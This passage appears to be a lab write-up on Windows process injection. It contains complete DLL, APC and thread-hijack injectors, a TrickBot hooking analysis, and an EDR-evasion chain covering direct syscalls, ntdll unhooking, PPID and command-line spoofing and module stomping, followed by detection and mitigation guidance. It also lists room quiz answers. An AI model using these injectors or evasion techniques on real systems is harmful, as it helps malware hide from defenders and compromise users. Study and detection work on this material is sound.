    ctx.Rip = (DWORD_PTR)remoteBuffer;

    // 9. write context
    SetThreadContext(hThread, &ctx);

    // 10. resume
    ResumeThread(hThread);
    std::cout << "[+] Hijacked thread " << threadId << " of PID " << processId << "\n";

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}
```

TRADE-OFFS

```
  + No new thread created -> avoids CreateRemoteThread telemetry
  - The victim thread stops doing its legitimate work (app may misbehave)
  - SuspendThread/GetThreadContext/SetThreadContext on foreign threads is
```

itself a well-monitored API combo
- If the thread is in an alertable/locked state you can hang the process

5. TASK 5 — ABUSING DLLS: DLL INJECTION (T1055.001)

Instead of raw shellcode you inject a whole DLL. The trick: you don't load it yourself — you make the TARGET call LoadLibraryA on your DLL path.

HIGH-LEVEL STEPS (5-6 steps)

1. Locate a target process.	CreateToolhelp32Snapshot + Process32First/Process32Next
2. Open the target process.	OpenProcess
3. Allocate memory for the DLL path.	VirtualAllocEx
4. Write the DLL path into that memory.	WriteProcessMemory
5. Load + execute the DLL.	GetProcAddress(LoadLibraryA) -> CreateRemoteThread

STEP 1 — FIND THE PID BY NAME

```
DWORD getProcessId(const char *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot) {
        PROCESSENTRY32 entry;
        entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &entry)) {
            do {
                if (!strcmp(entry.szExeFile, processName)) {
                    CloseHandle(hSnapshot);
                    return entry.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &entry));
        }
    }
    CloseHandle(hSnapshot);
    return 0;
}
DWORD processId = getProcessId(processName);
```

STEP 2 — OPEN THE PROCESS

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
```

STEP 3 — ALLOCATE FOR THE DLL PATH (note: only the path string!)

```
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL,
    (strlen(dllLibFullPath) + 1),
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);     // room uses RWX; RW is enough for a string
```

STEP 4 — WRITE THE PATH

```
WriteProcessMemory(hProcess, dllAllocatedMemory, dllLibFullPath,
                   strlen(dllLibFullPath) + 1, NULL);
```

STEP 5 — REMOTE THREAD STARTING AT LoadLibraryA

```
LPVOID loadLibrary = (LPVOID)GetProcAddress(
    GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

HANDLE remoteThreadHandler = CreateRemoteThread(
    hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)loadLibrary,  // start = LoadLibraryA
    dllAllocatedMemory,                   // arg   = "C:\path\evil.dll"
    0, NULL);
// The OS calls LoadLibraryA(dllAllocatedMemory) inside the target.
```

```
    // DllMain runs with DLL_PROCESS_ATTACH in the target's context.
```

COMPLETE PROGRAM: dll_injector.cpp

```
// Build: cl /EHsc dll_injector.cpp
// Usage: dll-injector.exe <process.exe> <full path to dll>
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

DWORD getProcessId(const char* name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    PROCESSENTRY32 e = { sizeof(PROCESSENTRY32) };
    if (Process32First(snap, &e)) {
        do {
            if (!_stricmp(e.szExeFile, name)) { CloseHandle(snap); return e.th32ProcessID; }
        } while (Process32Next(snap, &e));
    }
    CloseHandle(snap);
    return 0;
}

int main(int argc, char* argv[]) {
    if (argc < 3) { std::cout << "[!] Usage: " << argv[0] << " <proc.exe> <dll path>\n"; return
1; }
    const char* procName = argv[1];
    const char* dllPath  = argv[2];

    DWORD pid = getProcessId(procName);
    if (!pid) { std::cout << "[!] Process not found\n"; return 1; }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) { std::cout << "[!] OpenProcess: " << GetLastError() << "\n"; return 1; }

    LPVOID remotePath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
                                       MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, remotePath, dllPath, strlen(dllPath) + 1, NULL);

    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoadLibraryA, remotePath, 0, NULL);
    if (!hThread) { std::cout << "[!] CreateRemoteThread: " << GetLastError() << "\n"; return 1; }

    WaitForSingleObject(hThread, INFINITE);
    std::cout << "[+] Injected " << dllPath << " into " << procName
              << " (PID " << pid << ")\n";

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

VARIATIONS (learn these too)
  a) rundll32.exe-style: same idea, start at an exported function.
  b) Reflective DLL injection: the DLL contains its own loader; the remote
     thread starts at the DLL's exported ReflectiveLoader — no LoadLibrary,
     so no file is ever touched on disk and no module path is recorded.
  c) Manual mapping: you do LoadLibrary's job yourself (map sections,
     resolve imports, run TLS/DllMain) but never touch the loader API.
     The result is executable memory with NO corresponding module entry.
  d) Module stomping: LoadLibrary a legitimate DLL in the target, free its
     backing file mapping (or use a decoy), then overwrite its .text with
     your payload — memory still looks like a signed, known module.
  e) Proc-mem: NtMapViewOfSection with a SECTION object shared between
     two processes (self-injection variants).

DETECTION ANGLES
  - CreateRemoteThread whose start address is inside kernel32!LoadLibraryA
```

```
    with an argument pointing at a non-existent/oddly located file.
  - New module appearing in a process that was never opened by the loader
    from disk (manual map / reflective = no matching file on disk).
  - Unsigned DLL loaded into a signed, protected process.
```

6. TASK 6 — MEMORY EXECUTION ALTERNATIVES

Execution is the step everyone monitors (threads!). Alternatives matter when APIs are hooked or thread creation is trapped.

6.1 INVOKING FUNCTION POINTERS (local only)

The "void function pointer" cast — no API call at all, nothing to hook:

```
    ((void(*)())addressPointer)();
```

Breakdown:

```
    void(*)()                -> declares a function pointer taking nothing
    (void(*)())addressPointer-> casts the buffer/pointer to that type
    ()                       -> invokes it (RIP falls into your buffer)
```

Walk-through:

```
    1. Create a function pointer:            void(*)()
    2. Cast the allocated address into it:   ((void(*)())addr)
    3. Invoke:                               (())
```

```
  ANSWER: Can it be used on a remote process?  -> NO (n).
  It only works for memory in YOUR OWN address space (it's just a call
  instruction). For remote execution you need a thread, APC, or similar.
```

Full local example:

```
    #include <windows.h>
    int main() {
        unsigned char code[] = { 0x90, 0x90, 0xC3 }; // nop; nop; ret
        LPVOID mem = VirtualAlloc(NULL, sizeof(code),
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
        memcpy(mem, code, sizeof(code));
        ((void(*)())mem)();          // execute with zero API calls
        return 0;
    }
```

```
  Evasion value: EDRs that hook VirtualAllocEx/CreateRemoteThread see
  nothing. Only useful for local payloads (or when combined with a thread
  that already points there).
```

6.2 ASYNCHRONOUS PROCEDURE CALLs (APC)

From MSDN: "An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread."

```
  - An APC is QUEUED to a thread with QueueUserAPC.
  - It fires as a software interrupt the next time the thread is scheduled,
    BUT only if the thread is in an ALERTABLE state
    (waiting in SleepEx, WaitForSingleObjectEx, WaitForAlertByThreadId,
     MsgWaitForMultipleObjectsEx, or SleepEx(...) with alertable=TRUE).
  - The APC function type is PAPCFUNC:  void CALLBACK fn(ULONG_PTR param);
```

Core API:

```
    DWORD QueueUserAPC(
        PAPCFUNC pfnAPC,      // function to run (your shellcode address)
        HANDLE   hThread,     // target thread
        ULONG_PTR dwData      // parameter passed to the function
    );
```

Pattern (suspended process, allocate+write then queue APC before resume):

```
    QueueUserAPC(
        (PAPCFUNC)addressPointer,   // APC function -> allocated memory
```

```
        pinfo.hThread,              // thread from PROCESS_INFORMATION
        (ULONG_PTR)NULL);
    ResumeThread(pinfo.hThread);    // thread must run to process the APC
    WaitForSingleObject(pinfo.hThread, INFINITE);
```

Why it evades: no new thread is created; the APC executes during the thread's normal scheduling inside ntdll's APC dispatcher (KiUserApcDispatcher). Modern EDRs now trap NtQueueApcThread and alertable-wait patterns, and "Early Bird" (queue before first resume) is well signatured too.

COMPLETE PROGRAM: apc_inject.cpp

```
// Build: cl /EHsc apc_inject.cpp
// Usage: apc-inject.exe <PID>
#include <windows.h>
#include <iostream>

unsigned char shellcode[] = { 0x90, 0x90, 0xC3 };

int main(int argc, char* argv[]) {
    if (argc < 2) { std::cout << "[!] Usage: " << argv[0] << " <PID>\n"; return 1; }
    DWORD pid = (DWORD)atoi(argv[1]);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return 1;

    LPVOID mem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, mem, shellcode, sizeof(shellcode), NULL);

    // find a thread in the target and queue the APC to it
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    Thread32First(snap, &te);
    DWORD tid = 0;
    do { if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; } }
    while (Thread32Next(snap, &te));
    CloseHandle(snap);

    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    // QueueUserAPC works from the local process only for the calling
    // process's threads; for a remote process use NtQueueApcThread via
    // an opened handle (same signature family).
    typedef LONG (NTAPI *fnNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
    fnNtQueueApcThread NtQueueApcThread = (fnNtQueueApcThread)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThread");

    NtQueueApcThread(hThread, (PVOID)mem, NULL, NULL, NULL);
    std::cout << "[+] APC queued to thread " << tid << "\n";

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}
```

```
  ANSWER to room Q: API used to queue an APC = QueueUserAPC
  ANSWER: protocol for async execution in thread context = APC
```

6.3 SECTION MANIPULATION / PE EXECUTION ALTERNATIVES

Common in malware research; the goal is to turn DATA into EXECUTION without obvious RWX allocations:

```
  a) Section mapping
     - CreateFileMapping(INVALID_HANDLE_VALUE, ..., PAGE_READWRITE, size)
       or NtCreateSection on a pagefile-backed section.
     - Map it into one/more processes with MapViewOfFile / NtMapViewOfSection.
     - Same physical pages visible in two processes (shared memory IPC +
       execution). Nothing looks like an image.

  b) RVA entry point parsing
     - Parse DOS->NT->OptionalHeader to compute the real entry point RVA
```

```
      and jump there (base + AddressOfEntryPoint), instead of assuming
      a fixed offset. Used by manual loaders.

  c) Relocation table parsing
     - Walk IMAGE_BASE_RELOCATION blocks and fix absolute addresses when
       the payload is loaded somewhere other than ImageBase (needed for
       position-independent manual mapping).

  d) "Unbacked" / "ghost" memory
     - Allocate RW, write payload, VirtualProtect -> RX (never RWX).
     - Variants: double-mapping (same section twice, RW in one view, RX
       in another), "map and disappear" (NtUnmapViewOfSection after write
       while another handle keeps the pages), Encrypted/decrypted on demand.

  e) Transacted hollowing / Herpaderping
     - Write payload through a TxF transaction (NtCreateTransaction) or
       modify the file image after the section is created so on-disk
       content != in-memory content -> scanners reading the file see a
       benign image.

  f) Stomping the PEB / Erasing headers
     - Once running, zero the local DOS/NT headers in memory so
       memory-scanners can't map the region to a module or dump it.
```

7. TASK 7 — CASE STUDY: TRICKBOT BROWSER INJECTION & HOOKING

```
Credit: SentinelLabs — "How TrickBot Malware's Hooking Engine Targets
Windows 10 Browsers" (https://www.sentinelone.com/labs/...)

TrickBot is banking malware; its goal is credential theft. Mechanism:
BROWSER HOOKING — inject itself into browser processes and patch API
functions so it can see/steal credentials, form data and network traffic.
```

7.1 TARGET SELECTION

```
It uses OpenProcess(0x438 = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION ...) on
common browser processes found by name:

    "chrome.exe"
    "iexplore.exe"
    "firefox.exe"
    "microsoftedgecp.exe"

Disassembly excerpt from SentinelLabs:

    push   eax
    push   0
    push   438h
    call   ds:OpenProcess
    mov    edi, eax
    mov    [ebp+hProcess], edi
    test   edi, edi
    jz     loc_100045EE
    push   offset Srch            ; "chrome.exe"
    ...
```

7.2 INJECTION FLOW — REFLECTIVE INJECTION (answer: y)

```
  1. Open target process              OpenProcess
  2. Allocate memory                  VirtualAllocEx
  3. Copy hook-installer function     WriteProcessMemory
  4. Copy shellcode into memory       WriteProcessMemory
  5. Flush cache to commit changes    FlushInstructionCache   <-- important!
  6. Create remote thread             CreateRemoteThread
  7. Resume or fallback               ResumeThread  OR  RtlCreateUserThread
                                                          <-- room answer

  "Reflective" = the payload carries its own loader, so no LoadLibrary and
```

no on-disk module is registered.

7.3 HOOK INSTALLER PSEUDO-CODE (from SentinelLabs)

```
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u;   // E9 = JMP rel32

if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8,
                      0x40u, &flOldProtect) )   // RWX the target fn
{
    v10 = *(_DWORD *)(original_function + 1);
    v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
    original_function[66] = 0xE9u;
    *(_DWORD *)(original_function + 0x43) = v10 + v11;
    write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);  // room answer
    VirtualProtectEx((HANDLE)0xFFFFFFFF, *(LPVOID *)(original_function + 1),
                     (unsigned __int8)original_function[5],
                     flOldProtect, &flOldProtect);  // restore protection
}
result = 1;
```

Reading the pseudocode in the room's terms:

1. Function pointers are computed (see Task 6.1) to locate the original API and the hook function.
2. VirtualProtectEx makes the original API's bytes writable/executable.
3. The code overwrites the start of the original function with 0xE9 (JMP rel32) so execution is redirected to TrickBot's handler. write_hook_iter() performs the actual byte patch. <-- room answer
4. VirtualProtectEx restores the original page protection so the change is less obvious (and the page isn't left RWX).

7.4 WHAT THIS MEANS FOR DEFENDERS

- Inline (E9 trampoline) hooks on wininet/winhttp/ntdll are the classic credential-interception primitive; they also betray EDRs that do the same thing (user-mode hooking).
- Detection: compare on-disk bytes of ntdll/wininet against in-memory bytes (EDR unhooking does this in reverse), integrity checks on security-critical functions, ETW telemetry for writes to protected images, kernel callbacks (PsSetNotifyRoutine / minifilters).
- Watch for: browser processes spawning remote threads, RWX pages in browsers, unexpected module(s) in chrome.exe, hooks on HttpSendRequest / InternetReadFile / CryptEncrypt.

ANSWERS: RtlCreateUserThread | reflective = y | write_hook_iter

8. EXTENDED — MODERN TOOL-AGNOSTIC EVASION TECHNIQUES

(The room's title says "modern tool-agnostic approaches" — these are the techniques you graduate to once the naive injectors from Tasks 2-5 get caught by every EDR.)

8.1 DIRECT & INDIRECT SYSCALLS

WHY: Most EDRs hook ntdll's Nt* functions in user mode (a 5-byte JMP at the function start). Any "clean" call to ntdll!NtWriteVirtualMemory passes through the hook. A SYSCALL stub you build yourself jumps straight from your code to the kernel — bypassing the user-mode hook entirely.

Windows x64 syscall convention:
- SSN (System Service Number) in EAX
- first arg moves to R10 (RCX is clobbered by syscall)
- `syscall` instruction; return in RAX

Classic stub:

```
    DoSyscall:
        mov r10, rcx
        mov eax, <SSN>
        syscall
        ret
```

```
HELL'S GATE (get the SSN without hardcoding — tool-agnostic):
Read the FIRST BYTES of a clean ntdll!Nt* function:
    4C 8B D1              mov r10, rcx
    B8 xx xx 00 00        mov eax, <SSN>
    ...
so  SSN = *(DWORD*)((BYTE*)fn + 4);
```

```
    // resolve ntdll as loaded in OUR process (or a clean copy)
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pNtAllocateVirtualMemory = (BYTE*)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    // sanity check: expect 4C 8B D1 B8
    if (pNtAllocateVirtualMemory[0] == 0x4C && pNtAllocateVirtualMemory[1] == 0x8B) {
        DWORD ssn = *(DWORD*)(pNtAllocateVirtualMemory + 4);
    }
```

```
HALOSGATE: if the original stub is hooked (bytes corrupted), probe NEIGHBOUR
syscall entries (NtXxx+0x20, +0x40, ...) which often share nearby SSNs, then
add/subtract the delta to recover the real SSN.
```

```
SYSCALL IN C (MSVC x64 has NO inline asm — use a .asm file with MASM):
```

```
    ; syscall.asm   (ml64 /c syscall.asm)
    .code
    DoSyscall proc
        mov r10, rcx
        syscall
        ret
    DoSyscall endp
    end
```

```
    // C side
    extern "C" NTSTATUS DoSyscall(...);
    typedef NTSTATUS (NTAPI *fnNtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR,
                        PSIZE_T, ULONG, ULONG);
    NTSTATUS status = DoSyscall(hProcess, &addr, 0, &size,
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
```

```
INDIRECT SYSCALL: even better — read the SSN from ntdll, but perform the
`syscall; ret` from a JOP/ROP gadget or stub located INSIDE ntdll's own
clean region (or your own RX memory), so the return address on the stack
looks legitimate and call-stack/sleep-stack-walking checks pass:
```

```
    // pseudo: SSN from ntdll, syscall gadget address also from ntdll
    ssn   = *(DWORD*)(NtWriteVirtualMemory + 4);
    gadget = find_gadget(ntdll, "\x0F\x05\xC3");   // syscall; ret
    status = ((NTSTATUS(*)(void*))gadget)(args...); // r10/rcx set by compiler
```

```
API hashing (tool-agnostic resolution): don't call GetProcAddress by name
(export names are monitored). Hash them:
```

```
    DWORD ror13_hash(const char* s) {
        DWORD h = 0;
        while (*s) { h = _ror(h, 13) + *s++; }
        return h;
    }
    // walk PEB->Ldr->InMemoryOrderModuleList, hash each module name;
    // then walk the export table hashing names until you match.
```

```
PEB-BASED RESOLUTION CODE (x64):
```

```
    PEB* peb = (PEB*)__readgsqword(0x60);
    LDR_DATA_TABLE_ENTRY* head = (LDR_DATA_TABLE_ENTRY*)peb->Ldr->InMemoryOrderModuleList.Flink;
    // walk .Flink until BaseDllName == "kernel32.dll", then parse exports
```

8.2 PEB/TEB ABUSE, MODULE STOMPING & UNBACKED MEMORY

a) PEB tampering
- BeingDebugged = 0, NtGlobalFlag = 0 -> defeat user-mode anti-debug.
- Rewriting PEB->Ldr entries lets malware hide/renamed modules ("module unlinking" — unlink from InLoadOrder/InMemoryOrder lists so EnumProcessModules/PEB walkers don't see it, while the pages stay mapped). Tools that only walk the PEB (tasklist, many AV user-mode scanners) miss it; kernel-side enumeration still sees it.

b) Module stomping (a.k.a. module replacement / "hollowed DLL")
Steps:
1. In the target, LoadLibrary a legitimate, signed DLL that is large enough (e.g. a big system DLL not already loaded).
2. Get its base (EnumProcessModules / PEB walk).
3. Free the file mapping or open the backing file with delete access (MoveFileEx delay / FILE_FLAG_DELETE_ON_CLOSE) so the image is no longer backed by the real file -> "phantom" module.
4. Write your payload over the DLL's .text via WriteProcessMemory (or NtWriteVirtualMemory), optionally VirtualProtect the section.
5. Start execution at base+entry (CreateRemoteThread / APC / hijack).

Result: scanners see a known signed module (or nothing at all), not an anonymous RWX blob. The classic "your shellcode is hiding inside dbghelp.dll" story.

c) Unbacked / unregistered execution memory
- Allocate MEM_PRIVATE RW -> write -> VirtualProtect(RX). Never RWX.
- Double mapping: map the same SECTION twice — view A = RW, view B = RX. Only one view needs to be made executable; the other stays RW and looks non-executable to naive scans (this defeats "find all RWX pages" heuristics).
- Page-file-backed sections (NtCreateSection on \\Device\\MappedMemory) show as MEM_MAPPED with no file name.
- Cross-process mapping via a named section + Process hollowing hybrid.

d) Thread-less / low-footprint execution
- Enumerate and reuse existing threads (T1055.003) instead of creating.
- Hijack thread-pool workers (TpAllocWork / tp workers already exist in every process; queue your function there).
- Fibers (CreateFiber/SwitchToFiber) give a "thread" without a TEB registration pattern some scanners expect.
- Corrupt a legitimate callback (window proc, TLS callback, exception handler, VEH) so your code runs on an event, not on thread creation.

8.3 NTDLL UNHOOKING

If the EDR hooked ntdll in your process, restore clean bytes first:
1. Get a clean copy of ntdll:
   - from \\KnownDlls\\ntdll.dll (SECTION object — trusted, no disk IO),
   - or from a suspended process created with PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY / a fresh explorer.exe (its ntdll is not yet hooked),
   - or from disk: C:\\Windows\\System32\\ntdll.dll.
2. Read the clean bytes (ReadProcessMemory / NtReadVirtualMemory).
3. Write them over the local hooked copy (VirtualProtect RX->RW -> WriteProcessMemory/memcpy -> restore RX).
4. Now normal ntdll calls go straight to the kernel (until the EDR re-hooks — many re-arm on every Nt* call, which is why direct syscalls are preferred).

Combine: unhook + resolve by hash + direct syscall = the modern baseline "tool-agnostic" implant behavior.

8.4 PPID SPOOFING & ARGUMENT SPOOFING

a) PPID spoofing (T1134.004) — make your process look like a child of a

trusted parent (e.g. explorer.exe / svchost.exe) in Process Explorer
and in EDR process trees:

```
STARTUPINFOEXA si = { sizeof(si) };
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE),
    NULL, NULL);

PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
               &si.StartupInfo, &pi);
```

Caveats: only the PARENT HANDLE's process shows as parent; the kernel
still records the real creator (PsGetProcessInheritedFromUniqueProcessId)
for ETW/kernel telemetry, so this fools UI-level inspection more than
kernel telemetry.

b) Argument spoofing — the visible command line (WMI Win32_Process,
Sysmon Event 1, EDR "process create" events) differs from what the
program really receives:

1. Create the process SUSPENDED with a benign command line
   ("notepad.exe").
2. Read its PEB->ProcessParameters->CommandLine and copy the real
   payload arguments somewhere.
3. Overwrite CommandLine (and optionally the heap copy) with the
   benign string.
4. Resume. PowerShell's -EncodedCommand / base64 blobs are a common
   target: visible = "powershell.exe -File benign.ps1",
   real = "-EncodedCommand <malicious>".

Also relevant: env-var injection (PSModulePath, PATH) so the child
loads attacker DLLs (T1574.007), and standard-in redirection.

c) Other process-creation deception
- Parent/child relationship abuse (T1134): SYSTEM -> your process.
- Spawn via WMI / Task Scheduler / COM (out-of-pattern parents).
- Masquerading: rename payload to svchost.exe (T1036.005) — weak alone,
  strong when combined with PPID spoof + signed parent.

8.5 EARLY-BIRD APC, THREAD POOL ABUSE, MODULE OVERLOADING

- Early-Bird APC: CreateProcess(CREATE_SUSPENDED) -> allocate/write
  shellcode -> QueueUserAPC to the primary thread -> ResumeThread.
  The APC fires as soon as ntdll initializes, BEFORE the image entry
  point runs (and before many EDRs' "process started" instrumentation).
  Well known since ~2019; now signatured in many products.
- Thread pool abuse: queue work to the target's existing worker
  (TpQueueWork / NtTp* internals) — no CreateRemoteThread, no new TID.
- Module overloading / "DLL hollowing": point the loader at a large
  legitimate file that is also a payload container.
- Warm / cold: store payload encrypted in a legitimate MEM_MAPPED view,
  decrypt into a fresh RX page at the moment of execution, and re-mcrypt
  immediately after (short RWX/RX window).
- Syscall stub caching: resolve SSNs once at start (hashed), never
  touch GetProcAddress afterwards.

8.6 STATE OF THE ART STACK (how you combine everything)

```
resolve APIs by hash via PEB walk        (no import names)
  -> unhook ntdll from KnownDlls          (clean view)
  -> direct/indirect syscall for NtAlloc/NtWrite/NtProtect/NtQueueApc
  -> allocate MEM_PRIVATE, write, protect to RX (never RWX)
```

```
    -> execute via APC / hijacked thread / function pointer
    -> spoof parent + spoof command line
    -> optionally module-stomp so memory looks like a signed DLL
    -> clean up: free memory, close handles, restore context
```

Each layer defeats a different detection: user-mode hooks, RWX scans, thread-creation telemetry, process-tree anomalies, module inventory.

9. BLUE TEAM — DETECTIONS, MITIGATIONS & HUNTING

9.1 WHERE THE SIGNALS COME FROM

```
Kernel callbacks (hard to bypass from user mode):
  PsSetCreateProcessNotifyRoutineEx   — process create/terminate
  PsSetCreateThreadNotifyRoutine      — thread create (incl. remote)
  PsSetLoadImageNotifyRoutine         — image load (DLL/PE mapped)
  CmRegisterCallback                  — registry
  Minifilters (FLTMGR)                — file I/O
User-mode: API hooking (as TrickBot/EDR do), ETW providers
  (Microsoft-Windows-Kernel-Process, Threat-Intelligence ETW
   Microsoft-Windows-Threat-Intelligence which emits
   EVENT_TL_API_CALLOUT for cross-process memory ops), AMSI, WMI,
  Sysmon, EDR user-mode agents.
ETW TI (Threat Intelligence) is what reports RemoteOpenProcess /
RemoteAlloc / RemoteWrite to the SIEM even when hooks are evaded.
```

9.2 TECHNIQUE -> DETECTION MAP

Technique	Signals / hunts
Shellcode injection	OpenProcess(PROCESS_ALL_ACCESS) + VirtualAllocEx(RWX) + WriteProcessMemory + CreateRemoteThread (same PID, ~ms apart)
Process hollowing	CreateProcess(CREATE_SUSPENDED) + NtUnmapViewOfSection; in-memory image != file image; primary thread context entry point in MEM_PRIVATE region
Thread hijack	SuspendThread + Get/SetThreadContext on a foreign thread; sudden RIP change to a MEM_PRIVATE region; thread stops responding
DLL injection	CreateRemoteThread whose start address is kernel32!LoadLibraryA; new module not seen by file-backed loader telemetry
Reflective/manual map	Module with no file on disk / no LoadImage notify; executable MEM_PRIVATE pages attributed to no module
APC execution	NtQueueApcThread / QueueUserAPC + alertable wait; Early-Bird (queue before first resume)
Hooking	In-memory bytes differ from on-disk bytes at known exports; RWX on ntdll/wininet
Unhooking	ntdll re-read from KnownDlls + mass write
Syscalls	Call stack shows ntdll region then straight syscall (no hooked prologue); ETW still fires
PPID spoof	Process tree parent mismatch vs kernel creator
Cmdline spoof	Win32_Process CommandLine != actual argv

9.3 HUNTING QUERIES / CHECKS

PowerShell — find RWX private memory in a process:

```
Get-Process -Id <pid> | ForEach-Object {
    $p = $_; try {
        (Get-ProcessMemoryInfo -Id $p.Id).WorkingSetSize | Out-Null
    } catch {}
}
```

```
    # Practical: use VMMap, Process Explorer (Ctrl+H), or:
    Get-Process | Select-Object Id,ProcessName
    # Sysmon Event 10 (ProcessAccess) with GrantedAccess = 0x1FFFFF / 0x1F0FFF

Sysmon config highlights:
    Event 1  ProcessCreate  -> record ParentImage, CommandLine, Hashes
    Event 7  ImageLoaded    -> flag unsigned / odd-path DLLs
    Event 8  CreateRemoteThread -> SourceImage, TargetImage, StartModule
    Event 10 ProcessAccess -> GrantedAccess 0x1FFFFF, 0x143A (hijack combo)
    Event 25 ProcessTampering -> image/mem replacement (hollowing!)
    Event 26 FileDelete    -> payload cleanup

ETW one-liner (admin PowerShell):

    wevtutil ms microsoft-windows-kernel-process/! /q:"*[System[(EventID=1)]]"
    # or trace with: logman create trace ... -p Microsoft-Windows-Kernel-Process

YARA-style indicators (simplified):

    rule suspicious_injection_apis {
      strings:
        $a = "VirtualAllocEx" ascii wide
        $b = "WriteProcessMemory" ascii wide
        $c = "CreateRemoteThread" ascii wide
        $d = "NtUnmapViewOfSection" ascii wide
        $e = "ZwUnmapViewOfSection" ascii wide
        $f = "QueueUserAPC" ascii wide
      condition: 3 of them
    }

Manual triage checklist:
    1. VMMap / Process Explorer: any MEM_PRIVATE executable pages?
       any RWX at all?
    2. Compare on-disk vs in-memory bytes of ntdll (PESigma / pe-sieve /
       Manual DLL Unmapper style tools do the reverse too).
    3. PEB walk: modules with no file path? (manual map / unlinking)
    4. ETW TI events for remote memory operations.
    5. Process tree vs Sysmon kernel creator — PPID mismatch?
    6. Browser processes: unexpected threads/modules? E9 jumps at exports?
    7. Sysmon 25 ProcessTampering / minifilter "image replaced".
```

9.4 MITIGATIONS

```
  - Attack Surface Reduction (ASR) rules: block process creation from
    non-process programs, block untrusted/unsigned scripts.
  - WDAC / AppLocker / Smart App Control: only signed code executes.
  - Credential Guard / HVCI: kernel code-integrity, blocks shellcode-in-
    -kernel tricks and some injection primitives.
  - CIG (Code Integrity Guard) in protected processes (LSASS, browsers,
    antimalware) — prevents unsigned code from loading into them.
  - Disable or restrict: Win32 API access via JEA/Constrained Language,
    script-block logging + transcription for PowerShell.
  - Prefer EDRs with kernel/ETW-TI telemetry over pure user-mode hooks
    (user-mode hooks are exactly what these techniques bypass).
  - Allow-listing, control-flow guard (CFG), Arbitrary Code Guard (ACG),
    and "no RWX" policies (e.g. via Exploit Protection).
  - Hunt continuously: the room's own advice — "as detection engineering
    evolves, injection techniques will evolve; cat-and-mouse".
```

10. MITRE ATT&CK MAP

```
  T1055  Process Injection
    .001  Dynamic-link Library Injection        -> Task 5
    .002  Portable Executable Injection         -> mentioned (self-inject PE)
    .003  Thread Execution Hijacking            -> Task 4
    .004  Asynchronous Procedure Call           -> Task 6 (APC)
    .005  Inter-process Communication           -> section mapping (8.2c)
```

```
  .006  Process Hollowing                      -> Task 3
  .008  Extra Window Memory Injection
  .009  Proc Memory / "herpaderping"
T1106  Native API                             -> Nt*/Zw* direct syscalls
T1134  Access Token Manipulation
  .004  Parent PID Spoofing                    -> 8.4a
T1036  Masquerading (.005 Match System Name) -> 8.4c
T1574  Hijack Execution Flow
  .007  DLL Search Order Hijacking             -> 8.4b env injection
T1027  Obfuscated Files/Information            -> encrypted payloads
T1140  Deobfuscate/Decode Files                -> runtime decryption
T1059  Command & Scripting Interpreter         -> PowerShell abuse
T1218  System Binary Proxy Execution           -> rundll32/regsvcs
T1562  Impair Defenses (.004 Indicator Removal)
        EDR unhooking / API tampering          -> 8.3, Task 7
```

